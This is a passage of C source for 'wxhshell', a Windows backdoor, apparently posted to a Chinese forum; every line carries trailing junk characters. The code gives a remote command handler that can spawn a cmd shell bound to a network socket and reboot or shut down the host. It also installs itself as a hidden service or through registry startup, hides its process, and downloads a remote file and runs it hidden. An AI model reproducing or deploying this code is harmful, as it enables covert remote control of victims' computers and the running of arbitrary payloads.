  // 帮助 9a'-Y  
  case '?': { Uax+dl   
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Bq/:Nd[y  
    break; 7+./zN  
  } Vcd.mE(t%  
  // 安装 $/Aj1j`"9+  
  case 'i': { hF2IW{=!  
    if(Install()) dEBcfya  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2VW}9O  
    else Kn+S,1r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "CiTa>x  
    break; +_-bJo2a  
    } :akT 'q#  
  // 卸载 S"9zc ,]  
  case 'r': { "#mBcQ;QLV  
    if(Uninstall()) t|t#vcB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kd"N 29  
    else a^,(v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); w[P4&?2:  
    break; f#ri'&}c :  
    } 0"~i ^   
  // 显示 wxhshell 所在路径 u!1{Vt87  
  case 'p': { M$f7sx  
    char svExeFile[MAX_PATH]; U%0Ty|$Y   
    strcpy(svExeFile,"\n\r"); =4d (b ;  
      strcat(svExeFile,ExeFile); HF|oBX$_  
        send(wsh,svExeFile,strlen(svExeFile),0); fdONP>K[E  
    break; ;#w3{ NB  
    } 0M\D[ mg  
  // 重启 j,]Y$B  
  case 'b': { RK w$-7O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UGK*Gy  
    if(Boot(REBOOT)) % `Z! 4L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NnVnUgx  
    else { s+tGFjq  
    closesocket(wsh); OtFh,}E  
    ExitThread(0); zbJT&@z  
    } iR"N13  
    break; ;c$J=h]  
    } VK@!lJ u!  
  // 关机  Q1@A2+ c  
  case 'd': { 9mZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |7x\m t  
    if(Boot(SHUTDOWN)) yA47"R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2wF8 P)  
    else { vv26I  
    closesocket(wsh); SwZA6R&  
    ExitThread(0); e{Z &d  
    } EJ2yO@5O  
    break; <FZ@Q[RP  
    } e}1uz3Rh  
  // 获取shell ^pHq66d%Z  
  case 's': { },|M9 I0  
    CmdShell(wsh); H#ClIh?'b  
    closesocket(wsh); qWw\_S  
    ExitThread(0); _V`DWR *  
    break; JU&+c6>  
  } vm>b m  
  // 退出 # W"=ry3{  
  case 'x': { ?6'rBH/w  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rj!0GI  
    CloseIt(wsh); #c2ymQm  
    break; R :B^  
    } qe5feky  
  // 离开 J=/5}u_gw  
  case 'q': { *2jK#9"MP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :%IoME   
    closesocket(wsh); 6-O_\Cq8  
    WSACleanup(); bJs9X/E  
    exit(1); 7 [0L9\xm  
    break; sJNFFOz  
        } GgKEP,O  
  } )p*}e8L  
  } $ tl\UH7%2  
F:aILx  
  // 提示信息  W%\C_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r7qh>JrO  
} E lUEteZ  
  } 6uR^%W8]  
}NB}"%2  
  return; @V!r"Bkg.  
} bV"G~3COy  
o=1X^,  
// shell模块句柄 /&4U6a  
int CmdShell(SOCKET sock) G}p\8Q}'  
{ 'F3)9&M  
STARTUPINFO si; qgrg CJ  
ZeroMemory(&si,sizeof(si)); vx4+QQY P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m4*@o?Ow  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; G z)NwD  
PROCESS_INFORMATION ProcessInfo; Po%(~ )S>  
char cmdline[]="cmd"; \QB;Ja _  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); a0Zv p>Ft  
  return 0; [ +P#tIL  
} j1(D]Z=\  
o6p98Dpg   
// 自身启动模式 PdvqDa8  
int StartFromService(void) _Zr.ba  
{ b".L_Ma1*  
typedef struct }1rm  
{ Ps<d('=  
  DWORD ExitStatus; B/n[m@O  
  DWORD PebBaseAddress; ?R$&Xe!5  
  DWORD AffinityMask; p'om-  
  DWORD BasePriority; +zs4a96[  
  ULONG UniqueProcessId; .aflsUD  
  ULONG InheritedFromUniqueProcessId; yxc=Z0~1  
}   PROCESS_BASIC_INFORMATION; =Qn ;_+Ct  
$.bBFWk  
PROCNTQSIP NtQueryInformationProcess; 9H%X2#:fH  
h;0S%ZC  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /soKucN"h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +$Rt+S BD  
L31|\x]  
  HANDLE             hProcess; AQ ='|%  
  PROCESS_BASIC_INFORMATION pbi; \Acqr@D  
Pfs;0}h5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); >+[&3u  
  if(NULL == hInst ) return 0; 2;?I>~  
)YqXRm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T' ~!9Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )l#E}Uz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !*OJ.W&  
.(WQYOMl0  
  if (!NtQueryInformationProcess) return 0; % $DI^yS  
=yy5D$\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 9`9R!=NM  
  if(!hProcess) return 0; )Qvk*9OS  
%D[0nt|X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n\Lb.}]1~  
l\n@cQR  
  CloseHandle(hProcess); kTvd+TP4  
9 '2_  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ERN>don2  
if(hProcess==NULL) return 0; wT{nu[=GH*  
R,Vd.-5M  
HMODULE hMod; c?@T1h4  
char procName[255]; OiP!vn}k  
unsigned long cbNeeded; n-@j5w+k4  
-xP!"  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); q?ix$nKOv  
NhYLt w^u  
  CloseHandle(hProcess); Q6r7.pk"SU  
pn^ d]rou?  
if(strstr(procName,"services")) return 1; // 以服务启动 G2FXrkU  
J^g!++|2P  
  return 0; // 注册表启动 |.3DD"*  
} S)/_muP  
&sd}ulEg`  
// 主模块 G}G#i`6o  
int StartWxhshell(LPSTR lpCmdLine) j.@\3'  
{ ,#kIr  
  SOCKET wsl; pt}X>ph{  
BOOL val=TRUE; WH \)) y-  
  int port=0; VzKW:St  
  struct sockaddr_in door; 10U9ZC  
Qg<(u?7N  
  if(wscfg.ws_autoins) Install(); .?hP7;hhI  
d09k5$=gJ  
port=atoi(lpCmdLine); cx0*X*  
BGu?<bET  
if(port<=0) port=wscfg.ws_port; a 7,C>%I  
AoI/n4T^  
  WSADATA data; g"> {9YE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; # m *J&  
:dqn h  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =i7`ek  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ziCHjqT  
  door.sin_family = AF_INET; ,YMp<C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aT$9;  
  door.sin_port = htons(port); _zwUE  
'uxX5k/D@t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s]JF0584  
closesocket(wsl); _> *j H'  
return 1; aX}P|l  
} GF^071]G  
6}oXP_0U  
  if(listen(wsl,2) == INVALID_SOCKET) { .uk>QM s1  
closesocket(wsl); yT,.z 0  
return 1; ok4@N @  
} 1{r)L{]  
  Wxhshell(wsl); }7.PH'.8  
  WSACleanup(); ^!by3Elqqk  
{7/0< N G  
return 0; Zc`BiLzrIG  
GHeVp/u  
} se>MQM5 )  
.8G@%p{,  
// 以NT服务方式启动 ,5*eX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L~NbdaO  
{ }I2@%tt?  
DWORD   status = 0; fOMW"myQ  
  DWORD   specificError = 0xfffffff; 9b*nLyYVz  
Z KckAz\#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o$Z6zmxO  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b^$|Nz;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DY?Kfvef  
  serviceStatus.dwWin32ExitCode     = 0; |Xk4&sDrK  
  serviceStatus.dwServiceSpecificExitCode = 0; Z7?~S2{c  
  serviceStatus.dwCheckPoint       = 0; YS%h^>I^  
  serviceStatus.dwWaitHint       = 0; y)@[Sl>  
:65~[$2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); os]8BScx  
  if (hServiceStatusHandle==0) return; V:c;-)(  
"PpN0Rr  
status = GetLastError(); mA=i)Ga  
  if (status!=NO_ERROR) Oal3rb  
{ k|H:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9c6gkt9eB  
    serviceStatus.dwCheckPoint       = 0; #Q`dku%V:  
    serviceStatus.dwWaitHint       = 0; >b{q.  
    serviceStatus.dwWin32ExitCode     = status; %eO0w a$a  
    serviceStatus.dwServiceSpecificExitCode = specificError; M!XsJ<jN/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); j_. 5r&w  
    return; -#HA"7XOE  
  } hs$GN]  
0PrLuejz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t?'!$6   
  serviceStatus.dwCheckPoint       = 0; G8Y<1%`<  
  serviceStatus.dwWaitHint       = 0; % V8U (z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #I bp(  
} 2P@sn!*{1  
uvG]1m#  
// 处理NT服务事件,比如:启动、停止 dKxyA"@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1jF`5k  
{ PU1Qsb5  
switch(fdwControl) trp0 V4b8  
{ [S>2ASj  
case SERVICE_CONTROL_STOP: ~"kb7Fxp  
  serviceStatus.dwWin32ExitCode = 0; Ot6aRk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; pv Gf\pu  
  serviceStatus.dwCheckPoint   = 0; +y3%3EKs1~  
  serviceStatus.dwWaitHint     = 0; aN8|J?JH  
  { DuHu\>f<S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %YC_Se7  
  } 1BpiV-]=  
  return; [CXrSST")E  
case SERVICE_CONTROL_PAUSE: ?3.b{Cq{-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; j?x>_#tIY  
  break; +yD`3` E  
case SERVICE_CONTROL_CONTINUE: ?}U(3  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "\o+v|;  
  break; -RvQB  
case SERVICE_CONTROL_INTERROGATE: cLsV`@J(k  
  break; m~-K[+ya`D  
}; m1M t#@,$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1R1 z  
} n' q4  
]X ?7ZI^  
// 标准应用程序主函数 .G#8a1#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +N:o-9  
{ zM(vr"U   
L'0B$6  
// 获取操作系统版本 OZ~5*v  
OsIsNt=GetOsVer(); %~E ?Z!_W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :i. {  
Wg<(ms dj  
  // 从命令行安装 h_+dT  
  if(strpbrk(lpCmdLine,"iI")) Install(); s)6U_  
xk5@d6Y{r  
  // 下载执行文件 HV{wI1  
if(wscfg.ws_downexe) { m0;CH/D0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7KAO+\)H^Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); uJC~LC N  
} t7j);W%e6  
2;DuHO1  
if(!OsIsNt) { ~^r29'3  
// 如果时win9x,隐藏进程并且设置为注册表启动 =06gj)8  
HideProc(); UVd7 JGR  
StartWxhshell(lpCmdLine); U<_3^  
} =pS5uR~  
else 5',8 ziJQ  
  if(StartFromService()) )W;o<:x3  
  // 以服务方式启动 4;0lvDD  
  StartServiceCtrlDispatcher(DispatchTable); 5n9B?T8C  
else P'Ux%Q+B>  
  // 普通方式启动 UJ CYs`y  
  StartWxhshell(lpCmdLine); IpcNuZo9&  
lE&&_INHQ  
return 0; AK*LyR?  
}
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只看该作者 1 发表于: 2006-10-10
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